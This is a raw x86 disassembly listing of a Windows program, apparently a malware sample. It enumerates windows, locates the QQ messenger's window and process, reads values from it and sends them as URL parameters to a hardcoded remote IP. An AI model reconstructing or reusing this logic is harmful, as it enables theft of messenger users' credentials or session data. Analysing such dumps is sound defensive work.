xor esi, esi
mov ebx, eax
shr ebx, 2
test ebx, ebx
je 0x412f62
nop dword [eax + eax]
mov ecx, dword [ebp - 0x2b4]
xor edx, edx
test eax, eax
cmove ecx, edx
mov ecx, dword [ecx + esi*4]
mov eax, dword [ecx]
call dword [eax + 0x30]
inc esi
cmp esi, ebx
jge 0x412f62
mov eax, dword [ebp - 0x2ac]
jmp 0x412f40
mov eax, dword [ebp - 0x2b4]
test eax, eax
je 0x412f7c
push eax
mov eax, dword [ebp - 0x2c0]
lea ecx, [ebp - 0x2c0]
call dword [eax + 0xc]
mov eax, dword [0x61b1a0]
xor esi, esi
mov ebx, eax
mov dword [ebp - 0x2b4], 0
shr ebx, 2
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2b0], 0
test ebx, ebx
je 0x412fd1
nop word [eax + eax]
mov ecx, dword [0x61b198]
xor edx, edx
test eax, eax
cmove ecx, edx
mov ecx, dword [ecx + esi*4]
mov eax, dword [ecx]
call dword [eax + 0x30]
inc esi
cmp esi, ebx
jge 0x412fd1
mov eax, dword [0x61b1a0]
jmp 0x412fb0
mov eax, dword [0x61b198]
test eax, eax
je 0x412fe8
push eax
mov eax, dword [0x61b18c]
mov ecx, 0x61b18c
call dword [eax + 0xc]
push 0
push 0x40d1e0
mov dword [0x61b198], 0
mov dword [0x61b1a0], 0
mov dword [0x61b19c], 0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 0x2cc]
lea ecx, [ebp - 0x2cc]
call dword [eax + 0x44]
push 0x61b180
lea ecx, [ebp - 0x2cc]
call fcn.004022e0
mov eax, dword [0x61b1a0]
xor esi, esi
mov ebx, eax
shr ebx, 2
test ebx, ebx
je 0x413063
mov ecx, dword [0x61b198]
xor edx, edx
test eax, eax
cmove ecx, edx
mov ecx, dword [ecx + esi*4]
mov eax, dword [ecx]
call dword [eax + 0x30]
inc esi
cmp esi, ebx
jge 0x413063
mov eax, dword [0x61b1a0]
jmp 0x413042
mov eax, dword [0x61b198]
test eax, eax
je 0x41307a
push eax
mov eax, dword [0x61b18c]
mov ecx, 0x61b18c
call dword [eax + 0xc]
mov eax, dword [ebp - 0x2ac]
xor edx, edx
shr eax, 2
mov dword [0x61b198], 0
mov dword [0x61b1a0], 0
mov dword [0x61b19c], 0
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x230], edx
test eax, eax
je 0x4140f8
nop word [eax + eax]
lea ecx, [ebp - 0x3b8]
call fcn.00404bd0
mov byte [ebp - 4], 0x68
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x3ac], str.qqexchangewnd_shortcut_prefix
mov byte [ebp - 4], 0x69
mov esi, dword [ebp - 0x3ac]
test esi, esi
jne 0x413104
cmp dword [ebp - 0x394], 0
mov esi, 0x5e4c3c
cmovne esi, dword [ebp - 0x39c]
mov eax, dword [ebp - 0x2b4]
xor ecx, ecx
cmp dword [ebp - 0x2ac], ecx
cmove eax, ecx
mov eax, dword [eax + edx*4]
mov dword [ebp - 0x228], eax
mov ebx, dword [eax + 0x24]
test ebx, ebx
je 0x413141
mov edx, ebx
mov dword [ebp - 0x224], ebx
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x413130
sub edx, ecx
sar edx, 1
jmp 0x413179
mov edx, dword [eax + 0x3c]
test edx, edx
jne 0x41316d
mov dword [ebp - 0x224], 0x5e4c3c
test esi, esi
je 0x4131e6
cmp word [esi], 0
je 0x4131e6
test edx, edx
jne 0x413182
or esi, 0xffffffff
jmp 0x4131e8
mov eax, dword [eax + 0x34]
shr edx, 1
dec edx
mov dword [ebp - 0x224], eax
test edx, edx
jns 0x413152
or esi, 0xffffffff
jmp 0x4131e8
mov ecx, esi
lea eax, [ecx + 2]
mov dword [ebp - 0x38c], eax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413190
sub ecx, dword [ebp - 0x38c]
push 0
sar ecx, 1
push 0
push ecx
mov ecx, dword [ebp - 0x224]
push esi
call fcn.0042ba60
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x4131c2
or esi, 0xffffffff
jmp 0x4131e8
test ebx, ebx
jne 0x4131e0
mov ebx, dword [ebp - 0x228]
cmp dword [ebx + 0x3c], 0
jne 0x4131dd
mov ebx, 0x5e4c3c
sub esi, ebx
sar esi, 1
jmp 0x4131e8
mov ebx, dword [ebx + 0x34]
sub esi, ebx
sar esi, 1
jmp 0x4131e8
xor esi, esi
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x3b8]
call fcn.004048c0
cmp esi, 0xffffffff
je 0x4140df
lea ecx, [ebp - 0x7d4]
call fcn.00404bd0
mov byte [ebp - 4], 0x6b
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x7c8], 0x5e7888
mov byte [ebp - 4], 0x6c
xor ecx, ecx
cmp dword [ebp - 0x2ac], ecx
mov eax, dword [ebp - 0x2b4]
mov ebx, dword [ebp - 0x230]
cmove eax, ecx
sub esp, 0xc
lea ecx, [ebp - 0x3e4]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x7d4]
push eax
add edx, 0x18
call fcn.0040bc70
mov esi, eax
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x6d0]
mov edx, dword [ebp - 0x6d0]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x6cc], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x6c8], ecx
lea ecx, [ebp - 0x6c0]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c0]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x6c0]
call fcn.00402b60
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x3d4]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x70
mov ecx, dword [ebp - 0x3c8]
test ecx, ecx
je 0x4132f4
mov eax, dword [ebp - 0x3d4]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x4132ec
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x4132f4
lea ecx, [ebp - 0x3d4]
call eax
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c0], 0
mov dword [ebp - 0x3c4], 0
mov byte [ebp - 4], 0x6e
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x6c
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x7d4]
call fcn.004048c0
mov eax, dword [ebp - 0x2b4]
xor ecx, ecx
cmp dword [ebp - 0x2ac], ecx
cmove eax, ecx
lea ecx, [ebp - 0x8b0]
mov eax, dword [eax + ebx*4]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x224], eax
call fcn.00404bd0
mov byte [ebp - 4], 0x72
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x8a4], 0x5e788c
mov byte [ebp - 4], 0x73
lea edx, [ebp - 0x8b0]
push ecx
lea ecx, [ebp - 0x34c]
call fcn.0040cee0
mov esi, eax
mov byte [ebp - 4], 0x74
mov ecx, dword [ebp - 0x2e8]
mov edx, dword [ecx + 0x44]
cmp edx, fcn.00402060
je 0x4133b2
lea ecx, [ebp - 0x2e8]
call edx
push esi
lea ecx, [ebp - 0x2e8]
call fcn.00402b60
mov byte [ebp - 4], 0x73
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x75
mov ecx, dword [ebp - 0x340]
test ecx, ecx
je 0x4133ff
mov eax, dword [ebp - 0x34c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x4133f7
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x4133ff
lea ecx, [ebp - 0x34c]
call eax
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov byte [ebp - 4], 0x73
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x8b0]
call fcn.004048c0
mov esi, dword [ebp - 0x224]
test esi, esi
jle 0x413482
mov ecx, esi
call fcn.0040b950
mov esi, eax
test esi, esi
jle 0x41347c
push SysReAllocString
push ecx
lea eax, [ebp - 0x77c]
mov ecx, esi
push eax
lea edx, [ebp - 0x2e8]
call fcn.0040a890
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp esi, eax
je 0x41347c
push esi
call dword [0x61b1b4]
mov esi, dword [ebp - 0x224]
mov edx, dword [ebp - 0x75c]
xor ebx, ebx
test edx, 0xfffffffc
jbe 0x4140df
mov ecx, dword [ebp - 0x764]
xor eax, eax
test edx, edx
mov edx, esi
cmove ecx, eax
mov eax, dword [ebp - 0x2d4]
add eax, 0xfffffffe
mov ecx, dword [ecx + ebx*4]
add eax, ecx
push ecx
push eax
lea ecx, [ebp - 0x400]
call fcn.0040a530
mov esi, eax
mov byte [ebp - 4], 0x77
mov ecx, dword [ebp - 0x304]
mov edx, dword [ecx + 0x44]
cmp edx, fcn.00402060
je 0x4134df
lea ecx, [ebp - 0x304]
call edx
push esi
lea ecx, [ebp - 0x304]
call fcn.00402b60
mov byte [ebp - 4], 0x3a
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x78
mov ecx, dword [ebp - 0x3f4]
test ecx, ecx
je 0x41352c
mov eax, dword [ebp - 0x400]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413524
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x41352c
lea ecx, [ebp - 0x400]
call eax
mov dword [ebp - 0x3f4], 0
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x3f0], 0
mov byte [ebp - 4], 0x3a
lea edx, [ebp - 0x304]
push ecx
lea ecx, [ebp - 0x6fc]
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
call fcn.0040c7b0
mov esi, eax
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x6a4]
mov edx, dword [ebp - 0x6a4]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x6a0], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x69c], ecx
lea ecx, [ebp - 0x694]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x698], eax
mov eax, dword [ebp - 0x694]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x694]
call fcn.00402b60
mov byte [ebp - 4], 0x7a
lea eax, [ebp - 0x6ec]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x7c
mov ecx, dword [ebp - 0x6e0]
test ecx, ecx
je 0x413605
mov eax, dword [ebp - 0x6ec]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x4135fd
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413605
lea ecx, [ebp - 0x6ec]
call eax
mov dword [ebp - 0x6e0], 0
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x6dc], 0
mov byte [ebp - 4], 0x7a
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x3a
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
mov byte [ebp - 4], 0x7d
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolComObject.0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x494]
call fcn.00404bd0
mov byte [ebp - 4], 0x7f
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x488], 0x5e4c3c
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x754]
call fcn.00404bd0
mov byte [ebp - 4], 0x81
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x748], 0x5e4c3c
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x728]
call fcn.00404bd0
mov byte [ebp - 4], 0x83
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x71c], 0x5e4c3c
mov byte [ebp - 4], 0x84
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0
mov byte [ebp - 4], 0x85
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x27c], 0x40
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x7a8]
call fcn.00404bd0
mov byte [ebp - 4], 0x87
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x79c], 0x5e4c3c
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x8dc]
call fcn.00404bd0
mov byte [ebp - 4], 0x89
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x8d0], 0x5e4c3c
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x884]
call fcn.00404bd0
mov byte [ebp - 4], 0x8b
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x878], 0x5e4c3c
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x858]
call fcn.00404bd0
mov byte [ebp - 4], 0x8d
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x84c], 0x5e4c3c
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x82c]
call fcn.00404bd0
mov byte [ebp - 4], 0x8f
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x820], 0x5e4c3c
mov byte [ebp - 4], 0x91
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 0
mov byte [ebp - 4], 0x92
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x250], 0x40
mov byte [ebp - 4], 0x93
lea edx, [ebp - 0x43c]
lea ecx, [ebp - 0x378]
call fcn.004036a0
mov esi, eax
mov byte [ebp - 4], 0x94
mov ecx, dword [ebp - 0x268]
mov edx, dword [ecx + 0x44]
cmp edx, fcn.00402060
je 0x4138b9
lea ecx, [ebp - 0x268]
call edx
push esi
lea ecx, [ebp - 0x268]
call fcn.00402b60
mov byte [ebp - 4], 0x93
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x95
mov ecx, dword [ebp - 0x36c]
test ecx, ecx
je 0x413906
mov eax, dword [ebp - 0x378]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x4138fe
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413906
lea ecx, [ebp - 0x378]
call eax
mov dword [ebp - 0x36c], 0
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x368], 0
mov byte [ebp - 4], 0x93
lea edx, [ebp - 0x268]
push ecx
lea ecx, [ebp - 0x468]
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
call fcn.004034c0
or edi, 0x40
mov esi, eax
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0x91
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x98
mov ecx, dword [ebp - 0x25c]
test ecx, ecx
je 0x413990
mov eax, dword [ebp - 0x268]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413988
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413990
lea ecx, [ebp - 0x268]
call eax
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x258], 0
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x800]
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
call fcn.00404bd0
mov byte [ebp - 4], 0x99
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x7f4], str.http:__103.205.6.6__u
mov byte [ebp - 4], 0x9a
lea eax, [ebp - 0x6d0]
push eax
lea edx, [ebp - 0x800]
lea ecx, [ebp - 0x5c8]
call fcn.0042cf80
mov byte [ebp - 4], 0x9b
mov edx, eax
push 0x5e78d0
lea ecx, [ebp - 0x59c]
call fcn.0042d100
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x6a4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x570]
call fcn.0042cf80
mov byte [ebp - 4], 0x9d
mov edx, eax
push str.bh
lea ecx, [ebp - 0x544]
call fcn.0042d100
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x64c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x518]
call fcn.0042cf80
mov byte [ebp - 4], 0x9f
mov edx, eax
push str.sf
lea ecx, [ebp - 0x4ec]
call fcn.0042d100
mov byte [ebp - 4], 0xa0
mov edx, eax
push esi
lea ecx, [ebp - 0x4c0]
call fcn.0042cf80
add esp, 0x1c
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x244]
push 1
push 1
or dword [ebp - 0x240], 1
or dword [ebp - 0x290], 1
push 1
push ecx
push 1
lea ecx, [ebp - 0x494]
push ecx
lea ecx, [ebp - 0x754]
push ecx
push 0xf
lea ecx, [ebp - 0x728]
push ecx
lea ecx, [ebp - 0x294]
push ecx
push 0
lea ecx, [ebp - 0x7a8]
push 0
push ecx
lea ecx, [ebp - 0x8dc]
push ecx
lea ecx, [ebp - 0x884]
mov edx, eax
push ecx
lea ecx, [ebp - 0x858]
push ecx
lea ecx, [ebp - 0x82c]
push ecx
push 0
lea ecx, [ebp - 0x320]
call fcn.00405910
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xa2
mov ecx, dword [ebp - 0x314]
test ecx, ecx
je 0x413b34
mov eax, dword [ebp - 0x320]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413b2c
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413b34
lea ecx, [ebp - 0x320]
call eax
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x310], 0
mov byte [ebp - 4], 0xa1
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa3
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xa5
mov ecx, dword [ebp - 0x4a4]
test ecx, ecx
je 0x413bad
mov eax, dword [ebp - 0x4b0]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413ba5
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413bad
lea ecx, [ebp - 0x4b0]
call eax
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x49c], 0
mov dword [ebp - 0x4a0], 0
mov byte [ebp - 4], 0xa3
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa0
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa6
lea eax, [ebp - 0x4dc]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xa8
mov ecx, dword [ebp - 0x4d0]
test ecx, ecx
je 0x413c34
mov eax, dword [ebp - 0x4dc]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413c2c
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413c34
lea ecx, [ebp - 0x4dc]
call eax
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x4c8], 0
mov dword [ebp - 0x4cc], 0
mov byte [ebp - 4], 0xa6
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9f
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa9
lea eax, [ebp - 0x508]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xab
mov ecx, dword [ebp - 0x4fc]
test ecx, ecx
je 0x413cbb
mov eax, dword [ebp - 0x508]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413cb3
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413cbb
lea ecx, [ebp - 0x508]
call eax
mov dword [ebp - 0x4fc], 0
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x4f8], 0
mov byte [ebp - 4], 0xa9
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9e
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xac
lea eax, [ebp - 0x534]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xae
mov ecx, dword [ebp - 0x528]
test ecx, ecx
je 0x413d42
mov eax, dword [ebp - 0x534]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413d3a
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413d42
lea ecx, [ebp - 0x534]
call eax
mov dword [ebp - 0x528], 0
mov dword [ebp - 0x520], 0
mov dword [ebp - 0x524], 0
mov byte [ebp - 4], 0xac
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9d
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xaf
lea eax, [ebp - 0x560]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xb1
mov ecx, dword [ebp - 0x554]
test ecx, ecx
je 0x413dc9
mov eax, dword [ebp - 0x560]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413dc1
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413dc9
lea ecx, [ebp - 0x560]
call eax
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x550], 0
mov byte [ebp - 4], 0xaf
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9c
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb2
lea eax, [ebp - 0x58c]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xb4
mov ecx, dword [ebp - 0x580]
test ecx, ecx
je 0x413e50
mov eax, dword [ebp - 0x58c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413e48
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413e50
lea ecx, [ebp - 0x58c]
call eax
mov dword [ebp - 0x580], 0
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x57c], 0
mov byte [ebp - 4], 0xb2
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9b
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb5
lea eax, [ebp - 0x5b8]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xb7
mov ecx, dword [ebp - 0x5ac]
test ecx, ecx
je 0x413ed7
mov eax, dword [ebp - 0x5b8]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413ecf
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413ed7
lea ecx, [ebp - 0x5b8]
call eax
mov dword [ebp - 0x5ac], 0
mov dword [ebp - 0x5a4], 0
mov dword [ebp - 0x5a8], 0
mov byte [ebp - 4], 0xb5
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x9a
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x800]
call fcn.004048c0
and edi, 0xffffffbf
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0xb9
lea eax, [ebp - 0x458]
mov dword [ebp - 0x228], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xbb
mov ecx, dword [ebp - 0x44c]
test ecx, ecx
je 0x413f76
mov eax, dword [ebp - 0x458]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x413f6e
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x413f76
lea ecx, [ebp - 0x458]
call eax
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x448], 0
mov byte [ebp - 4], 0xb9
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x90
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x82c]
call fcn.004048c0
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x858]
call fcn.004048c0
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x884]
call fcn.004048c0
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x8dc]
call fcn.004048c0
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x7a8]
call fcn.004048c0
mov byte [ebp - 4], 0x84
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xc1
mov ecx, dword [ebp - 0x288]
test ecx, ecx
je 0x41403c
mov eax, dword [ebp - 0x294]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x414034
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x41403c
lea ecx, [ebp - 0x294]
call eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x284], 0
mov byte [ebp - 4], 0x84
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x728]
call fcn.004048c0
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x754]
call fcn.004048c0
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x494]
call fcn.004048c0
mov byte [ebp - 4], 0x3a
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolComObject.0
mov byte [ebp - 4], 0xc5
mov ecx, dword [ebp - 0x238]
test ecx, ecx
je 0x4140b7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov byte [ebp - 4], 0x3a
inc ebx
mov edx, dword [ebp - 0x75c]
mov eax, edx
mov esi, dword [ebp - 0x224]
shr eax, 2
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
cmp ebx, eax
jl 0x413496
mov edx, dword [ebp - 0x230]
inc edx
mov dword [ebp - 0x230], edx
cmp edx, dword [ebp - 0x22c]
jl 0x4130c0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x64c]
call fcn.004048c0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x43c]
call fcn.004048c0
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x678]
call fcn.004048c0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x6a4]
call fcn.004048c0
mov byte [ebp - 4], 0x34
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xc6
mov ecx, dword [ebp - 0x2f8]
test ecx, ecx
je 0x414175
mov eax, dword [ebp - 0x304]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x41416d
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x414175
lea ecx, [ebp - 0x304]
call eax
mov dword [ebp - 0x2f8], 0
